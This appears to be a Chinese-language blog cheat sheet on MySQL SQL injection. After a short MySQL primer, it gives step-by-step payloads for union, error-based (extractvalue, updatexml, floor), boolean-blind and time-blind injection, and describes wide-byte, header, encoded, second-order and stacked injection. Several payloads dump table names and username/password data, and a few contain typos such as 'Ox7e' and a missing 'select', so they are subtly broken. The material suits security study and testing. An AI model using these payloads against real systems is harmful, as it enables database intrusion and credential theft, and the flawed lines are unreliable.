MYSQL SQL隱碼攻擊

FreeKnight發表於2021-11-20

0x00 MYSQL基礎

MYSQL自帶庫和表

  • 在Mysql5.0以上的版本中加入了一個information_schema這個自帶庫,這個庫中包含了該資料庫的所有資料庫名、表名、列表,可以通過SQL隱碼攻擊來拿到使用者的賬號和口令,而Mysql5.0以下的只能暴力跑表名;5.0 以下是多使用者單操作,5.0 以上是多使用者多操作。

  • 在滲透測試中,information_schema庫中有三個表對我們很重要

    1. schemata 表 中 schema_name 欄位儲存資料庫中所有的庫名

    2. tables 表 中** table_schema** 欄位儲存庫名table_name 欄位儲存表名

    3. columns 表 中 table_schema 欄位儲存庫名table_name 欄位儲存表名column_name 欄位儲存欄位名

MYSQL常用語句

--連線--
mysql -h localhost -uroot -proot -P 3306

--建立資料庫--
create database liuyanban;
create database liuyanban default character set utf8 default collate utf8_general_ci;

--短命令--
\c 刪除正在輸的命令
\s 伺服器的狀態
\h 幫助
\q 退出

--顯示資料庫名--
show databases;

--刪除資料庫--
drop database liuyanban;
drop database if exists liuyanban1;

--切換資料庫--
use liuyanban;

--建立資料表並指定欄位--
create table liuyan(id int auto_increment primary key,title varchar(255),content text);
auto_increment   # 自增
primary key      # 主鍵 預設不能為空

--顯示錶結構--
desc liuyan;

--刪除表--
drop table liuyan;
drop table if exists liuyanban;

--操作表--
alter table liuyan action;
alter table liuyan rename as liuyanban;                  # 修改liuyan為liuyanban
alter table liuyan add time time;(first/after 欄位名)     # 預設最後
alter table liuyan add primary key (time);               # 定義欄位為主鍵
alter table liuyan modify time text;                     # 修改資料型別
alter table liuyan change time user varchar(255);        # 修改欄位名及資料型別
alter table liuyan drop time;                            # 刪除欄位

--插資料--
insert into tbname(colname1,colname2) values('value1','value2');
insert into liuyan(title,content) values('test1','test1');                    # 插入單行資料
insert into liuyan(title,content) values('test1','test1'),('test2','test2');  # 插入多行資料

--更新資料--
update tbname set cloname='value' where id=1;
update tbname set title='test1' where id=1;
update tbname set title='test1' and content='test  1' where id=1;

--刪除資料--
delete from liuyan where id =1;
delete from liuyan where id >5;

--查詢資料--
select * from liuyan;
select title from liuyan where id=1;
select title from liuyan where id=1 order by id;          # 使用id排序
select title,content from liuyan where id=1 order by id;
select title from liuyan where id=1 order by id asc/desc; # 升序降序

0x01 常用函式總結

名稱 功能
user() 返回當前使用資料庫的使用者
version() 返回當前資料庫版本
database() 返回當前使用的資料庫名
@@datadir 返回資料庫資料儲存路徑
@@basedir 返回資料庫安裝路徑
@@version_compile_os 返回作業系統版本
concat() 拼接字串
concat_ws() 拼接字串指定分割符號,第一個引數為分割符號
group_concat() 將多行結果拼接到一行顯示
rand() 返回0 ~ 1的隨機值
floor() 返回小於等於當前值的整數
count() 返回執行結果的行數
hex 轉換成16進位制 0x
ascii 轉換成ascii碼
substr() 擷取字串 substr(字串,開始擷取位置,擷取長度) ,例如substr('abcdef',1,2) 表示從第一位開始,擷取2位,即 'ab'
substring() 用法和substr()相同
mid() 用法和substr()相同
length() 獲取字串長度,例:select length(database()); 表示獲取當前資料庫名的長度
if() if(判斷條件,為真的結果,為假的結果) 例:if(1>0,'true','false') 1>0條件為真,返回true
sleep() sleep(int1) int1是中斷時間,單位是秒。例:sleep(3) 表示中斷3秒
benchmark() benchmark(arg1,arg2) 用來測試一些函式的執行速度。arg1是執行的次數,arg2是要執行的函式或者是表示式。與sleep()函式基本一致。在sleep()不能使用時,可用此函式代替

0x02常見注入型別

union聯合查詢注入

1. 判斷注入點及型別

**整型:** 
1+1
1-1
1 and 1=1
1 and 1=2

**字元型:** 
1'
1"
1' and '1'='1
1' and '1'='2
閉合方式可能為',",'),")等等,根據實際情況修改

**搜尋型:** 
'and 1=1 and'%'='
%' and 1=1--+
%' and 1=1 and '%'='

2. 判斷欄位數

1' order by 1--+
1' order by n--+
**提示** :可以利用**二分法** 進行判斷

3. 判斷資料顯示位

  • **union ** 關鍵字

    - 功能 :多條查詢語句的結果合併成一個結果

    - 用法:查詢語句1 union 查詢語句2 union 查詢語句3

    - 注意:

        1. 要求多條查詢語句的查詢列數是一致的

        2. union關鍵字預設去重,如果使用 union all可以包含重複項

1' union select 1,2--+
**備註** :這裡使用**-1或任意一個不存在的值** 使union之前的語句查詢無結果,則顯示的時候就會顯示union之後的第二條語句

4. 獲取資料庫資訊:使用者,版本,當前資料庫名等

1' union select version(),user(),@@basedir#
1' union select version(),user(),@@basedir%23
1' union select database(),user(),@@datadir--+
1' union select @@version_compile_os,user(),@@basedir-- 

5. 獲取資料庫中的所有 名資訊

1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

6. 獲取資料庫中的所有 名資訊

查詢當前庫
1' union 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

查詢其他庫 
1' union 1,2,group_concat(table_name) from information_schema.tables where table_schema='dvwa'--+

這裡的庫名可以用16進位制 表示,也可用char() ** 將庫名每個字母的ascii碼** 連起來表示

7. 獲取資料庫中的所有 欄位 名資訊

1' union 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() 
and table_name='users'--+

8. 獲取資料庫中的所有 內容 值資訊

1' union 1,2,concat(username,password) from users--+
1' union 1,2,concat_ws('_',username,password) from users--+
1' union 1,2,group_concat(username,password) from users--+

9. 獲取資料庫中資訊 破解加密 資料

error注入

報錯注入概述

  • 報錯注入 (英文名:Error- based injection),就是利用資料庫的某些機制,人為地製造錯誤條件,使得査詢結果能夠出現在錯誤資訊中。

  • 正常使用者訪問伺服器傳送id資訊返回正確的id資料。報錯注入是想辦法構造語句,讓錯誤資訊中可以顯示資料庫的內容,如果能讓錯誤資訊中返回資料庫中的內容,即實現SQL隱碼攻擊。

XPATH 報錯注入

  1. extractvalue (arg1, arg2)

    - 接受兩個引數,arg1:XML文件,arg2:XPATH語句

    - 條件:mysql 5.1及以上版本

    - 標準payload:

and extractvalue(1,concat(0x7e,(select user()),0x7e))
and extractvalue(1,concat(0x7e,(此處可替換任意SQL語句),0x7e))

    - 返回結果: XPATH syntax error:'root@localhost'

  1. updatexml (arg1, arg2, arg3)

    - arg1為xml文件物件的名稱;arg2為 xpath格式的字串;arg3為 string格式替換查詢到的符合條件的資料。

    - 條件:mysql 5.1.5及以上版本

    - 標準payload:

and updatexml(1,concat(0x7e,(select user()),0x7e),1)
and updatexml(1,concat(0x7e,(此處可替換任意SQL語句),0x7e),1)

    - 返回結果:XPATH syntax error:'~root@localhost

注意 :(1)XPATH報錯注入的使用條件是資料庫版本符合條件 (2)extractvalue() 和 updatexml() 有32位 長度限制

floor() ** 報錯注入**

  • floor() 報錯注入準確地說應該是floor、 count、 group by衝突報錯, count(*)、rand()、group by三者缺一不可

  • floor() 函式的作用是返回小於等於該值的最大整數 ,只返回arg1整數部分 ,小數部分捨棄

  • 條件:mysql 5.0及以上版本

  • 標準 Payload:

and (select 1 from(select count(*),concat(user(),floor(rand(O)*2))x from information_schema.tables 
group by x)y)

and (select 1 from(select count(*),concat((此處可替換任意SQL語句),floor(rand(O)*2))x from 
information_schema.tables group by x)y)

  • 結果:Duplicate entry 'root@localhost1' for key 'group key'

  • 標準Payload解析:

    - floor():取整數

    - rand():在0和1之間產生一個隨機數

    - rand(0)*2:將取到的隨機數乘以2=0

    - floor(rand()*2):有兩條記錄就會報錯隨機輸出0或1

    - floor(rand(0)*2):記錄需為3條以上,且3條以上必報錯 ,返回的值是有規律的

    - count(*):用來統計結果,相當於重新整理一次結果

    - group by:在對資料進行分組時會先看虛擬表中是否存在這個值,不存在就插入;存在的話 count()加1,在使用 group by時 floor(rand(0)2)會被執行一次,若虛表不存在記錄,插入虛表時會再執行一次

其他常用報錯注入

    1. 列名重複報錯注入

    2. 整形溢位報錯注入

    3. 幾何函式報錯注入

    4. 常見的報錯函式

    > 報錯注入一般流程

**1.檢視資料庫版本,當前資料庫名,當前使用者** 
and extractvalue(1,concat(Ox7e,(select version()),0x7e))--+
and extractvalue(1,concat(Ox7e,(select database()),0x7e))--+
and extractvalue(1,concat(Ox7e,(select user()),0x7e))--+

**2.檢視資料庫中有多少個表** 
and extractvalue(1,concat(ox7e,(select count(table_name) from information_schema.tables where
table_schema=database()),0x7e))--+

**3.檢視資料庫中有所有表名** 
and extractvalue(1,concat(ox7e,(select table_name from information_schema.tables where
table_schema=database() limit 0,1),0x7e))--+

**4.檢視錶裡面的所有欄位名** 
and extractvalue(1,concat(ox7e,(select column_name from information_schema.columns where
table_schema=database() and table_name='users' limit 0,1),0x7e))--+

**5.檢視錶中的所有資料** 
and extractvalue(1,concat(ox7e,(select concat_ws('~',username,password) from users 
limit 0,1),0x7e))--+
and extractvalue(1,concat(ox7e,(select concat_ws('~',username,password) from dvwa.users 
limit 0,1),0x7e))--+

bool盲注

普通注入和盲注的區別

bool盲注概述

  • bool盲注時SQL盲注的一種,就是在進行SQL隱碼攻擊的時候,WEB頁面僅返回True和 False

  • bool盲注會根據web頁面返回的True或者 False資訊,對資料庫中的資訊進行猜解 ,並獲取資料庫中的相關資訊

相關函式介紹看0x01 常用函式總結

bool 盲注一般流程

**1.判斷注入點及型別** 
1' and 1=1%23   true
1' and 1=2%23   false

**2.猜解資料庫名的長度** 
and (length(database())>7--+   # 有回顯資料庫名長度>7
and (length(database())>8--+   # 無回顯,說明資料庫名長度<8
and (length(database())=8--+   # 有回顯,說明資料庫名長度=8
從這步開始均採用二分法逐步判斷

**3.猜解當前資料庫名** 
and ascii(substr((database()),1,1)>100--+  # 有回顯,說明資料庫名第一位的ascii碼>100
and ascii(substr((database()),1,1)>120--+  # 無回顯,說明資料庫名第一位的ascii碼<120
and ascii(substr((database()),1,1)>115--+  # 無回顯,說明資料庫名第一位的ascii碼<115
and ascii(substr((database()),1,1)=115--+  # 有回顯,說明資料庫名第一位的ascii碼是115

**4.猜解當前庫中的表名個數** 
and (select count(*) from information_schema.tables where table_schema=database())>5--+
# 有回顯,說明當前資料庫中表名個數>5
and (select count(*) from information_schema.tables where table_schema=database())>10--+
# 無回顯,說明當前資料庫中表名個數<10
and (select count(*) from information_schema.tables where table_schema=database())=8--+
# 有回顯,說明當前資料庫中表名個數=8

**5.猜解當前庫中的表名長度** 
and (select length(table_name) from information_schema.tables where table_schema=database() 
limit 0,1)>5--+  # 有回顯,說明當前資料庫中第一張表長度>5
and (select length(table_name) from information_schema.tables where table_schema=database() 
limit 0,1)>10--+ # 無回顯,說明當前資料庫中第一張表長度<10
and (select length(table_name) from information_schema.tables where table_schema=database() 
limit 0,1)=6--+  # 有回顯,說明當前資料庫中第一張表長度=5
# 需要用**limit** 來限制表的個數,每次讀取一個表

**6.猜解當前庫中的表名** 
and ascii((substr((select table_name from information_schema.tables where table_schema=database limit
0,1),1,1)<100--+ # 有回顯,說明當前資料庫中第一張表的第一個字元ascii碼<100
and ascii((substr((select table_name from information_schema.tables where table_schema=database limit
0,1),1,1)<90--+  # 無回顯,說明當前資料庫中第一張表的第一個字元ascii碼>90
and ascii((substr((select table_name from information_schema.tables where table_schema=database limit
0,1),1,1)=97--+  # 有回顯,說明當前資料庫中第一張表的第一個字元ascii碼=97,查詢ascii碼錶可知,97='a'
# 更改**substr()** 函式引數,猜解出本表名剩餘字元;更改limit引數,依次猜解出所有表名

**7.猜解表的欄位名** 
# 先獲取欄位名個數,再回去欄位名長度,最後獲取欄位名
and (select count(*) from information_schema.columns where table_schema=database() and 
table_name='users')>5--+  # 獲取users表欄位名個數
and (select length(column_name) from information_schema.columns where table_schema=database() and 
table_name='users' limit 0,1)>5--+ # 獲取users表第一個欄位長度
and (ascii(substr((select column_name from information_schema.columns where table_name='users' and
table_schema=database() limit 0,1),1,1))>100--+  # 有回顯,說明users表中第一個欄位名第一個字元ascii碼>100

**8.猜解表中資料** 
and (ascii(substr(select username from users limit 0,1),1,1))=68--+
# 有回顯,說明users表中第一條資料的username欄位值的第一個字元ascii碼值=68,查詢ascii表可知 68='D'

time盲注

time盲注一般流程

**1.判斷注入點及型別** 
1' and 1=1%23   true
1' and 1=2%23   false

**2.猜解資料庫名的長度** 
and if(length(database())>5),sleep(5),1)--+
and if(length(database())=6),sleep(5),1)--+
# 通過頁面顯示的時間判斷資料庫名長度

**3.猜解資料庫名** 
and if(ascii(substr(database(),n,1)=m),sleep(5),1)--+  # 通過改變n和m依次獲取資料庫的字元

**4.猜解資料庫表名** 
# 同理先獲取長度
and if((ascii(substr((select table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1)))>100,sleep(5),1)--+

**5.猜解資料庫欄位名名** 
and if((ascii(substr((select column_name from information_schema.columns where table_name='users'
and table_schema=database() limit 0,1),1,1)))>100,sleep(5),1)--+

**6.猜解表中資料** 
and if((ascii(substr((select 列名 from 表名 limit 0,1),1,1)))=97,sleep(5),1)--+

0x03 其他型別注入

寬位元組注入

寬位元組注入概述

  • 什麼是寬位元組?

    寬位元組是指兩個位元組 寬度的編碼技術。

  • 造成寬位元組注入的原因

    寬位元組注入是利用mysql的一個特性,mysql在使用GBK編碼 的時候,會認為兩個字元是一個漢字

  • GBK編碼原理

寬位元組注入原理

  • 程式設計師為了防止sql注入 ,對使用者輸入中的單引號(')進行處理,在單引號前加上斜槓()進行轉義 ,這樣被處理後的sql語句中,單引號不再具有'作用',僅僅是內容'而已。

  • 換句話說,這個單引號無法發揮和前後單引號閉合的作用 ,僅僅成為內容。

寬位元組注入方法

  • 黑盒

    - 在注入點後鍵入%df ,然後按照正常的注入流程開始注入

    - 注意:前一個字元的ascii碼要大於128 ,兩個字元才能組合成漢字

  • 白盒

    1. 檢視MySql編碼是否為GBK 格式

    2. 是否使用了 preg_replace() 函式把單引號替換成'

    3. 是否使用了 addslashes() 函式進行轉義

    4. 是否使用了 **mysql_real_escape_string() ** 函式進行轉義

http 頭注入

常見http頭中可能被汙染的引數有這些

HTTP頭注入的重要性

http頭注入概述

  • 什麼是HTTP頭注入?

    - web程式程式碼中把使用者提交的HTTP請求包的頭資訊未做過濾就直接帶入到資料庫中執行

  • HTTP頭注入的檢測方法

    - 通過修改引數 來判斷是否存在漏洞

  • 造成HTTP頭注入的原因

    1. 在網站程式碼中的ip欄位與資料庫有互動

    2. 程式碼中使用了php超全域性變數$_SERVER[ ]

  • 如何修復HTTP頭注入?

    1. 在設定HTTP響應頭的程式碼中,過濾回車換行 (%0d%0a、%0D%0A)字元。

    2. 不採用有漏洞版本的 apache伺服器

    3. 對引數做合法性校驗以及長度限制 ,謹慎的根據使用者所傳入引數做http返回包的header設定

二次編碼注入

url編碼概述

  • url編碼形式

  • 為什麼要進行url編碼?

  • url編碼作用

  • 二次編碼注入原理

    相關函式:urldecode() , rawurldecode()

    原理:

base64注入

base64編碼概述

base64注入原理

  • 針對傳遞的引數被base64加密後的注入點進行注入 ,這種方式常用來繞過一些WAF 的檢測。

base64注入方法

  • 需要先將原本的引數進行解密 ,然後結合之前的 注入手法 (如聯合注入,報錯注入等)進行加密 ,再作為引數進行注入

  • base64線上加解密:http://tool.oschina.net/encrypt?type=3

  • 其他編碼注入的注入方法一樣,舉一反三。

二次注入

二次注入概述

  • 什麼是二次注入?

    簡單的說二次注入是指已儲存 (資料庫、檔案)的使用者輸入被讀取後再次進入到SQL査詢語句中 導致的注入。

  • 原理

    - 有些網站當使用者輸入惡意資料 時對其中的特殊字元 進行了轉義處理 ,但在惡意資料插入到資料庫 時被處理的資料又
    被還原並儲存在資料庫中 ,當web程式呼叫儲存在資料庫中的惡意資料並執行SQL査詢時 ,就發生了SQL二次注入

    - 注意:可能毎一次注入都不構成漏洞,但是如果一起用就可能造成注入。

二次注入思路

  1. 攻擊者通過構造資料 的形式,在瀏覽器或其他軟體中提交HTTP資料包文請求到服務端進行處理,提交的資料包文請求中可能包含了攻擊者構造的SQL語句或者命令

  2. 服務端 應用程式會將攻擊者提交的資料資訊進行儲存 ,通常是儲存在資料庫中,儲存的資料資訊的主要作用是為應用程式執行其他功能提供原始輸入資料 並對客戶端請求做岀響應。

  3. 攻擊者向服務端傳送第二個與第一次不相同的請求資料資訊。

  4. 服務端接收到黑客提交的第二個請求資訊後,為了處理該請求,服務端會査詢資料庫中已經儲存的資料資訊並處理,從而導致攻擊者在第一次請求中構造的SQL語句或者命令在服務端環境中執行

  5. 服務端返回執行的處理結果資料資訊,攻擊者可以通過返回的結果資料 資訊判斷是否成功利用 二次注入漏洞。

堆疊注入

堆疊查詢概述

  • 什麼是堆疊查詢?

    - 在SQL語句中,分號(;)用來表示一條sql語句的結束。所以可以在以分號(;)結束一個sql語句後,繼續構造一下條語句,可以一起執行

  • 堆疊查詢和聯合查詢的區別

    - 聯合查詢: union或者 union all執行的語句型別有限,可以用來執行查詢語句

    - 堆疊査詢:堆疊查詢可以執行的是任意的語句

        - 如使用者輸入:Select from products where pro=1;DELETE FROM products

        - 當執行查詢後,第一條顯示查詢資訊,第二條則將整個表進行刪除

堆疊注入原理

  • 堆疊注入,就是將許多sql語句疊加 在一起執行。將原來的語句構造完成後加上分號,代表該語句結束,後面再輸入的就是個全新的sql語句,這時我們使用的語句將毫無限制

  • 如:[1';show tables();#]

利用條件

  1. 可能受到API或者資料庫引擎 不支援的限制

  2. mysqli_multi_query支援 / mysql_query不支援

(1)MySQL+PHP支援 (2)SQL Server+ Any API支援 (3)Oracle+ Any API不支援

  • 注意

    1. 由於在web系統中,程式碼通常只返回一個査詢結果 ,所以在讀取資料 時,建議使用聯合注入

    2. 使用堆疊注入之前,需要知道資料庫的相關資訊 ,如表名,列名等

外帶注入

  • 詳細使用請看 SQL隱碼攻擊 資料外帶 總集篇

相關文章